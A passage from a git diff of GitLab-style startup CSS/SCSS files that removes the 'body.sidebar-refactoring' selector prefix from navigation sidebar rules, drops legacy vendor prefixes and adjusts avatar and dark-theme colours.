a.has-sub-items
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1621,30 +1132,21 @@ body.sidebar-refactoring
cursor: default;
pointer-events: none;
font-size: 0.75rem;
- background-color: #2f2a6b;
- color: #333;
margin-top: 0;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
}
@media (min-width: 768px) and (max-width: 1199px) {
- body.sidebar-refactoring .nav-sidebar:not(.sidebar-expanded-mobile) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) {
width: 48px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .nav-sidebar-inner-scroll {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
overflow-x: hidden;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.badge.badge-pill:not(.fly-out-badge),
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .nav-item-name,
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .collapse-text {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .collapse-text {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -1655,44 +1157,28 @@ body.sidebar-refactoring
white-space: nowrap;
width: 1px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .sidebar-top-level-items
- > li
- > a {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
min-height: unset;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .fly-out-top-item:not(.divider) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item:not(.divider) {
display: block !important;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .avatar-container {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
margin: 0 auto;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
li.active:not(.fly-out-top-item)
> a {
background-color: rgba(41, 41, 97, 0.08);
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
height: 60px;
width: 48px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header
- a {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
padding: 10px 4px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .sidebar-context-title {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -1703,58 +1189,45 @@ body.sidebar-refactoring
white-space: nowrap;
width: 1px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
height: auto;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header
- a {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
padding: 0.25rem;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.sidebar-top-level-items
> li
.sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .nav-icon-container {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
margin-right: 0;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
width: 48px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.toggle-sidebar-button
.collapse-text {
display: none;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.toggle-sidebar-button
.icon-chevron-double-lg-left {
transform: rotate(180deg);
- display: block;
margin: 0;
}
}
-body.sidebar-refactoring .nav-sidebar-inner-scroll {
+.nav-sidebar-inner-scroll {
height: 100%;
width: 100%;
overflow: auto;
}
-body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header {
+.nav-sidebar-inner-scroll > div.context-header {
margin-top: 0.25rem;
}
-body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header a {
+.nav-sidebar-inner-scroll > div.context-header a {
padding-left: 0.75rem;
padding-right: 0.75rem;
padding-top: 0.5rem;
@@ -1769,78 +1242,46 @@ body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header a {
margin-bottom: 0.25rem;
margin-top: 0;
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .avatar-container {
+.nav-sidebar-inner-scroll > div.context-header a .avatar-container {
font-weight: 400;
flex: none;
box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .avatar-container.rect-avatar {
+.nav-sidebar-inner-scroll > div.context-header a .avatar-container.rect-avatar {
border-style: none;
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
+.nav-sidebar-inner-scroll
> div.context-header
a
.avatar-container.rect-avatar
.avatar.s32 {
box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .sidebar-context-title {
- color: #2f2a6b;
-}
-body.sidebar-refactoring .sidebar-top-level-items {
+.sidebar-top-level-items {
margin-top: 0.25rem;
margin-bottom: 60px;
}
-body.sidebar-refactoring .sidebar-top-level-items .context-header a {
+.sidebar-top-level-items .context-header a {
padding: 0.25rem;
margin-bottom: 0.25rem;
margin-top: 0;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- .context-header
- a
- .avatar-container {
+.sidebar-top-level-items .context-header a .avatar-container {
font-weight: 400;
flex: none;
box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- .context-header
- a
- .avatar-container.rect-avatar {
+.sidebar-top-level-items .context-header a .avatar-container.rect-avatar {
border-style: none;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
+.sidebar-top-level-items
.context-header
a
.avatar-container.rect-avatar
.avatar.s32 {
box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- .context-header
- a
- .sidebar-context-title {
- color: #2f2a6b;
-}
-body.sidebar-refactoring .sidebar-top-level-items > li .badge.badge-pill {
+.sidebar-top-level-items > li .badge.badge-pill {
border-radius: 0.5rem;
padding-top: 0.125rem;
padding-bottom: 0.125rem;
@@ -1849,29 +1290,25 @@ body.sidebar-refactoring .sidebar-top-level-items > li .badge.badge-pill {
background-color: #064787;
color: #9dc7f1;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
+.sidebar-top-level-items
> li.active
.sidebar-sub-level-items:not(.is-fly-out-only) {
display: block;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- > li.active
- .badge.badge-pill {
+.sidebar-top-level-items > li.active .badge.badge-pill {
font-weight: 400;
color: #9dc7f1;
}
-body.sidebar-refactoring .sidebar-sub-level-items {
+.sidebar-sub-level-items {
padding-top: 0;
padding-bottom: 0;
display: none;
}
-body.sidebar-refactoring .sidebar-sub-level-items:not(.fly-out-list) li > a {
+.sidebar-sub-level-items:not(.fly-out-list) li > a {
padding-left: 2.25rem;
}
-body.sidebar-refactoring .toggle-sidebar-button,
-body.sidebar-refactoring .close-nav-button {
+.toggle-sidebar-button,
+.close-nav-button {
height: 48px;
padding: 0 16px;
background-color: #303030;
@@ -1881,31 +1318,28 @@ body.sidebar-refactoring .close-nav-button {
align-items: center;
background-color: #303030;
border-top: 1px solid #404040;
- color: #2f2a6b;
position: fixed;
bottom: 0;
width: 220px;
}
-body.sidebar-refactoring .toggle-sidebar-button .collapse-text,
-body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-left,
-body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-right,
-body.sidebar-refactoring .close-nav-button .collapse-text,
-body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-left,
-body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-right {
+.toggle-sidebar-button .collapse-text,
+.toggle-sidebar-button .icon-chevron-double-lg-left,
+.close-nav-button .collapse-text,
+.close-nav-button .icon-chevron-double-lg-left {
color: inherit;
}
-body.sidebar-refactoring .collapse-text {
+.collapse-text {
white-space: nowrap;
overflow: hidden;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+.sidebar-collapsed-desktop .context-header {
height: 60px;
width: 48px;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+.sidebar-collapsed-desktop .context-header a {
padding: 10px 4px;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .sidebar-context-title {
+.sidebar-collapsed-desktop .sidebar-context-title {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -1916,47 +1350,39 @@ body.sidebar-refactoring .sidebar-collapsed-desktop .sidebar-context-title {
white-space: nowrap;
width: 1px;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+.sidebar-collapsed-desktop .context-header {
height: auto;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+.sidebar-collapsed-desktop .context-header a {
padding: 0.25rem;
}
-body.sidebar-refactoring
- .sidebar-collapsed-desktop
+.sidebar-collapsed-desktop
.sidebar-top-level-items
> li
.sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .nav-icon-container {
+.sidebar-collapsed-desktop .nav-icon-container {
margin-right: 0;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .toggle-sidebar-button {
+.sidebar-collapsed-desktop .toggle-sidebar-button {
width: 48px;
}
-body.sidebar-refactoring
- .sidebar-collapsed-desktop
- .toggle-sidebar-button
- .collapse-text {
+.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text {
display: none;
}
-body.sidebar-refactoring
- .sidebar-collapsed-desktop
- .toggle-sidebar-button
- .icon-chevron-double-lg-left {
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
transform: rotate(180deg);
- display: block;
margin: 0;
}
-body.sidebar-refactoring .close-nav-button {
+.close-nav-button {
display: none;
}
@media (max-width: 767.98px) {
- body.sidebar-refactoring .close-nav-button {
+ .close-nav-button {
display: flex;
}
- body.sidebar-refactoring .toggle-sidebar-button {
+ .toggle-sidebar-button {
display: none;
}
}
@@ -2037,7 +1463,6 @@ svg.s16 {
top: 4px;
}
.search .search-input-wrap .search-icon {
- -moz-user-select: none;
user-select: none;
}
.search .search-input-wrap .clear-icon {
@@ -2066,7 +1491,7 @@ svg.s16 {
float: left;
margin-right: 16px;
border-radius: 50%;
- border: 1px solid #333;
+ border: 1px solid rgba(255, 255, 255, 0.08);
}
.avatar.s16,
.avatar-container.s16 {
@@ -2086,12 +1511,6 @@ svg.s16 {
height: 32px;
margin-right: 8px;
}
-.avatar.s40,
-.avatar-container.s40 {
- width: 40px;
- height: 40px;
- margin-right: 8px;
-}
.avatar {
transition-property: none;
width: 40px;
@@ -2108,8 +1527,8 @@ svg.s16 {
.identicon {
text-align: center;
vertical-align: top;
- color: #525252;
- background-color: #eee;
+ color: #fafafa;
+ background-color: #303030;
}
.identicon.s16 {
font-size: 10px;
@@ -2119,30 +1538,26 @@ svg.s16 {
font-size: 14px;
line-height: 32px;
}
-.identicon.s40 {
- font-size: 16px;
- line-height: 38px;
-}
.identicon.bg1 {
- background-color: #ffebee;
+ background-color: #660e00;
}
.identicon.bg2 {
- background-color: #f3e5f5;
+ background-color: #f4f0ff;
}
.identicon.bg3 {
- background-color: #e8eaf6;
+ background-color: #f1f1ff;
}
.identicon.bg4 {
- background-color: #e3f2fd;
+ background-color: #033464;
}
.identicon.bg5 {
- background-color: #e0f2f1;
+ background-color: #0a4020;
}
.identicon.bg6 {
- background-color: #fbe9e7;
+ background-color: #5c2900;
}
.identicon.bg7 {
- background-color: #eee;
+ background-color: #303030;
}
.avatar-container {
overflow: hidden;
@@ -2162,10 +1577,6 @@ svg.s16 {
margin: 0;
align-self: center;
}
-.avatar-container.s40 {
- min-width: 40px;
- min-height: 40px;
-}
.rect-avatar {
border-radius: 2px;
}
@@ -2176,23 +1587,18 @@ svg.s16 {
border-radius: 2px;
}
.rect-avatar.s32,
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
+.nav-sidebar-inner-scroll
> div.context-header
a
.avatar-container.rect-avatar
.avatar.s32,
-body.sidebar-refactoring
- .sidebar-top-level-items
+.sidebar-top-level-items
.context-header
a
.avatar-container.rect-avatar
.avatar.s32 {
border-radius: 4px;
}
-.rect-avatar.s40 {
- border-radius: 4px;
-}
body.gl-dark .navbar-gitlab {
background-color: #fafafa;
}
@@ -2253,9 +1659,6 @@ body.gl-dark
body.gl-dark .search form {
background-color: rgba(250, 250, 250, 0.2);
}
-body.gl-dark .search .search-input::-ms-input-placeholder {
- color: rgba(250, 250, 250, 0.8);
-}
body.gl-dark .search .search-input::placeholder {
color: rgba(250, 250, 250, 0.8);
}
@@ -2263,17 +1666,14 @@ body.gl-dark .search .search-input-wrap .search-icon,
body.gl-dark .search .search-input-wrap .clear-icon {
fill: rgba(250, 250, 250, 0.8);
}
-body.gl-dark .nav-sidebar li.active {
- box-shadow: inset 4px 0 0 #999;
-}
body.gl-dark .nav-sidebar li.active > a {
color: #f0f0f0;
}
-body.gl-dark .nav-sidebar li.active .nav-icon-container svg {
- fill: #f0f0f0;
-}
-body.gl-dark .sidebar-top-level-items > li.active .badge.badge-pill {
- color: #f0f0f0;
+body.gl-dark .nav-sidebar .fly-out-top-item a,
+body.gl-dark .nav-sidebar .fly-out-top-item.active a,
+body.gl-dark .nav-sidebar .fly-out-top-item .fly-out-top-item-container {
+ background-color: #2f2a6b;
+ color: var(--black, #333);
}
body.gl-dark .logo-text svg {
fill: var(--gl-text-color);
@@ -2373,6 +1773,9 @@ body.gl-dark {
--black: #fff;
--svg-status-bg: #333;
}
+.nav-sidebar li.active {
+ box-shadow: none;
+}
.tab-width-8 {
-moz-tab-size: 8;
tab-size: 8;
diff --git a/app/assets/stylesheets/startup/startup-general.scss b/app/assets/stylesheets/startup/startup-general.scss
index 4605b6de563..76d10300307 100644
--- a/app/assets/stylesheets/startup/startup-general.scss
+++ b/app/assets/stylesheets/startup/startup-general.scss
@@ -130,10 +130,6 @@ h1 {
color: transparent;
text-shadow: 0 0 0 #303030;
}
-.form-control::-ms-input-placeholder {
- color: #5e5e5e;
- opacity: 1;
-}
.form-control::placeholder {
color: #5e5e5e;
opacity: 1;
@@ -160,7 +156,6 @@ h1 {
color: #303030;
text-align: center;
vertical-align: middle;
- -moz-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
@@ -444,8 +439,7 @@ a {
border-top: 1px solid #dbdbdb;
}
.toggle-sidebar-button .collapse-text,
-.toggle-sidebar-button .icon-chevron-double-lg-left,
-.toggle-sidebar-button .icon-chevron-double-lg-right {
+.toggle-sidebar-button .icon-chevron-double-lg-left {
color: #666;
}
svg {
@@ -531,7 +525,7 @@ body {
max-width: 500px;
margin-top: 4px;
margin-bottom: 24px;
- font-size: 14px;
+ font-size: 0.875rem;
font-weight: 400;
padding: 8px 0;
background-color: #fff;
@@ -611,9 +605,6 @@ input {
border-radius: 4px;
padding: 6px 10px;
}
-.form-control::-ms-input-placeholder {
- color: #868686;
-}
.form-control::placeholder {
color: #868686;
}
@@ -918,6 +909,7 @@ input {
.context-header .sidebar-context-title {
overflow: hidden;
text-overflow: ellipsis;
+ color: #303030;
}
@media (min-width: 768px) {
.page-with-contextual-sidebar {
@@ -936,20 +928,14 @@ input {
}
.nav-sidebar {
position: fixed;
+ bottom: 0;
+ left: 0;
z-index: 600;
width: 220px;
top: 40px;
- bottom: 0;
- left: 0;
- background-color: #fafafa;
- box-shadow: inset -1px 0 0 #dbdbdb;
+ background-color: #f0f0f0;
transform: translate3d(0, 0, 0);
}
-@media (min-width: 576px) and (max-width: 576px) {
- .nav-sidebar:not(.sidebar-collapsed-desktop) {
- box-shadow: inset -1px 0 0 #dbdbdb, 2px 1px 3px rgba(0, 0, 0, 0.1);
- }
-}
.nav-sidebar.sidebar-collapsed-desktop {
width: 48px;
}
@@ -957,7 +943,8 @@ input {
overflow-x: hidden;
}
.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
-.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
+.nav-sidebar.sidebar-collapsed-desktop .nav-item-name,
+.nav-sidebar.sidebar-collapsed-desktop .collapse-text {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -969,362 +956,29 @@ input {
width: 1px;
}
.nav-sidebar.sidebar-collapsed-desktop .sidebar-top-level-items > li > a {
- min-height: 45px;
-}
-.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item {
- display: block;
-}
-.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
- margin: 0 auto;
-}
-.nav-sidebar a {
- text-decoration: none;
-}
-.nav-sidebar ul {
- padding-left: 0;
- list-style: none;
-}
-.nav-sidebar li {
- white-space: nowrap;
-}
-.nav-sidebar li a {
- display: flex;
- align-items: center;
- padding: 12px 16px;
- color: #666;
-}
-.nav-sidebar li .nav-item-name {
- flex: 1;
-}
-.nav-sidebar li.active > a {
- font-weight: 600;
-}
-@media (max-width: 767.98px) {
- .nav-sidebar {
- left: -220px;
- }
-}
-.nav-sidebar .nav-icon-container {
- display: flex;
- margin-right: 8px;
-}
-.nav-sidebar .fly-out-top-item {
- display: none;
-}
-.nav-sidebar svg {
- height: 16px;
- width: 16px;
-}
-@media (min-width: 768px) and (max-width: 1199px) {
- .nav-sidebar:not(.sidebar-expanded-mobile) {
- width: 48px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
- overflow-x: hidden;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .badge.badge-pill:not(.fly-out-badge),
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
- min-height: 45px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item {
- display: block;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
- margin: 0 auto;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
- height: 60px;
- width: 48px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
- padding: 10px 4px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .sidebar-top-level-items
- > li
- .sidebar-sub-level-items:not(.flyout-list) {
- display: none;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
- margin-right: 0;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
- padding: 16px;
- width: 47px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button
- .collapse-text,
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button
- .icon-chevron-double-lg-left {
- display: none;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button
- .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
- }
-}
-.nav-sidebar-inner-scroll {
- height: 100%;
- width: 100%;
- overflow: auto;
-}
-.sidebar-sub-level-items {
- display: none;
- padding-bottom: 8px;
-}
-.sidebar-sub-level-items > li a {
- padding: 8px 16px 8px 40px;
-}
-.sidebar-sub-level-items > li.active a {
- background: rgba(0, 0, 0, 0.04);
-}
-.sidebar-top-level-items {
- margin-bottom: 60px;
-}
-@media (min-width: 576px) {
- .sidebar-top-level-items > li > a {
- margin-right: 1px;
- }
-}
-.sidebar-top-level-items > li .badge.badge-pill {
- background-color: rgba(0, 0, 0, 0.08);
- color: #666;
-}
-.sidebar-top-level-items > li.active {
- background: rgba(0, 0, 0, 0.04);
-}
-.sidebar-top-level-items > li.active > a {
- margin-left: 4px;
- padding-left: 12px;
-}
-.sidebar-top-level-items > li.active .badge.badge-pill {
- font-weight: 600;
-}
-.sidebar-top-level-items
- > li.active
- .sidebar-sub-level-items:not(.is-fly-out-only) {
- display: block;
-}
-.toggle-sidebar-button,
-.close-nav-button {
- height: 48px;
- padding: 0 16px;
- background-color: #fafafa;
- border: 0;
- color: #666;
- display: flex;
- align-items: center;
-}
-.toggle-sidebar-button,
-.close-nav-button {
- position: fixed;
- bottom: 0;
- width: 219px;
- border-top: 1px solid #dbdbdb;
-}
-.toggle-sidebar-button svg,
-.close-nav-button svg {
- margin-right: 8px;
-}
-.toggle-sidebar-button .icon-chevron-double-lg-right,
-.close-nav-button .icon-chevron-double-lg-right {
- display: none;
-}
-.collapse-text {
- white-space: nowrap;
- overflow: hidden;
-}
-.sidebar-collapsed-desktop .context-header {
- height: 60px;
- width: 48px;
-}
-.sidebar-collapsed-desktop .context-header a {
- padding: 10px 4px;
-}
-.sidebar-collapsed-desktop .sidebar-context-title {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
-}
-.sidebar-collapsed-desktop
- .sidebar-top-level-items
- > li
- .sidebar-sub-level-items:not(.flyout-list) {
- display: none;
-}
-.sidebar-collapsed-desktop .nav-icon-container {
- margin-right: 0;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button {
- padding: 16px;
- width: 47px;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
-.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
- display: none;
-}
-.sidebar-collapsed-desktop
- .toggle-sidebar-button
- .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
-}
-.fly-out-top-item > a {
- display: flex;
-}
-.fly-out-top-item .fly-out-badge {
- margin-left: 8px;
-}
-.fly-out-top-item-name {
- flex: 1;
-}
-.close-nav-button {
- display: none;
-}
-@media (max-width: 767.98px) {
- .close-nav-button {
- display: flex;
- }
- .toggle-sidebar-button {
- display: none;
- }
-}
-body.sidebar-refactoring.ui-indigo
- .nav-sidebar
- li.active:not(.fly-out-top-item)
- > a {
- color: #2f2a6b;
-}
-body.sidebar-refactoring.ui-indigo
- .nav-sidebar
- li.active
- .nav-icon-container
- svg {
- fill: #2f2a6b;
-}
-body.sidebar-refactoring .nav-sidebar {
- box-shadow: none;
-}
-body.sidebar-refactoring .nav-sidebar li.active {
- background-color: transparent;
- box-shadow: none !important;
-}
-@media (min-width: 768px) {
- body.sidebar-refactoring .page-with-contextual-sidebar {
- padding-left: 48px;
- }
-}
-@media (min-width: 1200px) {
- body.sidebar-refactoring .page-with-contextual-sidebar {
- padding-left: 220px;
- }
-}
-@media (min-width: 768px) {
- body.sidebar-refactoring .page-with-icon-sidebar {
- padding-left: 48px;
- }
-}
-body.sidebar-refactoring .nav-sidebar {
- position: fixed;
- bottom: 0;
- left: 0;
- z-index: 600;
- width: 220px;
- top: 40px;
- background-color: #f0f0f0;
- transform: translate3d(0, 0, 0);
-}
-body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop {
- width: 48px;
-}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .nav-sidebar-inner-scroll {
- overflow-x: hidden;
-}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .badge.badge-pill:not(.fly-out-badge),
-body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .nav-item-name,
-body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .collapse-text {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
-}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .sidebar-top-level-items
- > li
- > a {
min-height: unset;
}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .fly-out-top-item:not(.divider) {
+.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item:not(.divider) {
display: block !important;
}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .avatar-container {
+.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
margin: 0 auto;
}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- li.active:not(.fly-out-top-item)
- > a {
+.nav-sidebar.sidebar-collapsed-desktop li.active:not(.fly-out-top-item) > a {
background-color: rgba(41, 41, 97, 0.08);
}
-body.sidebar-refactoring .nav-sidebar a {
+.nav-sidebar a {
text-decoration: none;
- color: #2f2a6b;
+ color: #303030;
}
-body.sidebar-refactoring .nav-sidebar li {
+.nav-sidebar li {
white-space: nowrap;
}
-body.sidebar-refactoring .nav-sidebar li .nav-item-name {
+.nav-sidebar li .nav-item-name {
flex: 1;
}
-body.sidebar-refactoring .nav-sidebar li > a,
-body.sidebar-refactoring .nav-sidebar li > .fly-out-top-item-container {
+.nav-sidebar li > a,
+.nav-sidebar li > .fly-out-top-item-container {
padding-left: 0.75rem;
padding-right: 0.75rem;
padding-top: 0.5rem;
@@ -1336,49 +990,42 @@ body.sidebar-refactoring .nav-sidebar li > .fly-out-top-item-container {
line-height: 1rem;
margin: 1px 4px;
}
-body.sidebar-refactoring .nav-sidebar li.active > a {
+.nav-sidebar li.active > a {
font-weight: 600;
}
-body.sidebar-refactoring
- .nav-sidebar
- li.active:not(.fly-out-top-item)
- > a:not(.has-sub-items) {
+.nav-sidebar li.active:not(.fly-out-top-item) > a:not(.has-sub-items) {
background-color: rgba(41, 41, 97, 0.08);
}
-body.sidebar-refactoring .nav-sidebar ul {
+.nav-sidebar ul {
padding-left: 0;
list-style: none;
}
@media (max-width: 767.98px) {
- body.sidebar-refactoring .nav-sidebar {
+ .nav-sidebar {
left: -220px;
}
}
-body.sidebar-refactoring .nav-sidebar .nav-icon-container {
+.nav-sidebar .nav-icon-container {
display: flex;
margin-right: 8px;
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item {
display: none;
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item.active
a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1390,30 +1037,26 @@ body.sidebar-refactoring
cursor: default;
pointer-events: none;
font-size: 0.75rem;
- background-color: #2f2a6b;
- color: #fff;
margin-top: -0.25rem;
margin-bottom: -0.25rem;
margin-top: 0;
position: relative;
- background-color: #000;
+ color: #fff;
+ background: var(--black, #000);
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
a
strong,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item.active
a
strong,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1421,20 +1064,17 @@ body.sidebar-refactoring
strong {
font-weight: 400;
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
a::before,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item.active
a::before,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1450,34 +1090,18 @@ body.sidebar-refactoring
border-top: 0.25rem solid transparent;
border-bottom: 0.25rem solid transparent;
border-right: 0.25rem solid #000;
+ border-right-color: var(--black, #000);
}
-body.sidebar-refactoring
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items {
- margin-top: -0.25rem;
-}
-body.sidebar-refactoring
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item {
+.nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item {
display: none;
}
-body.sidebar-refactoring
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
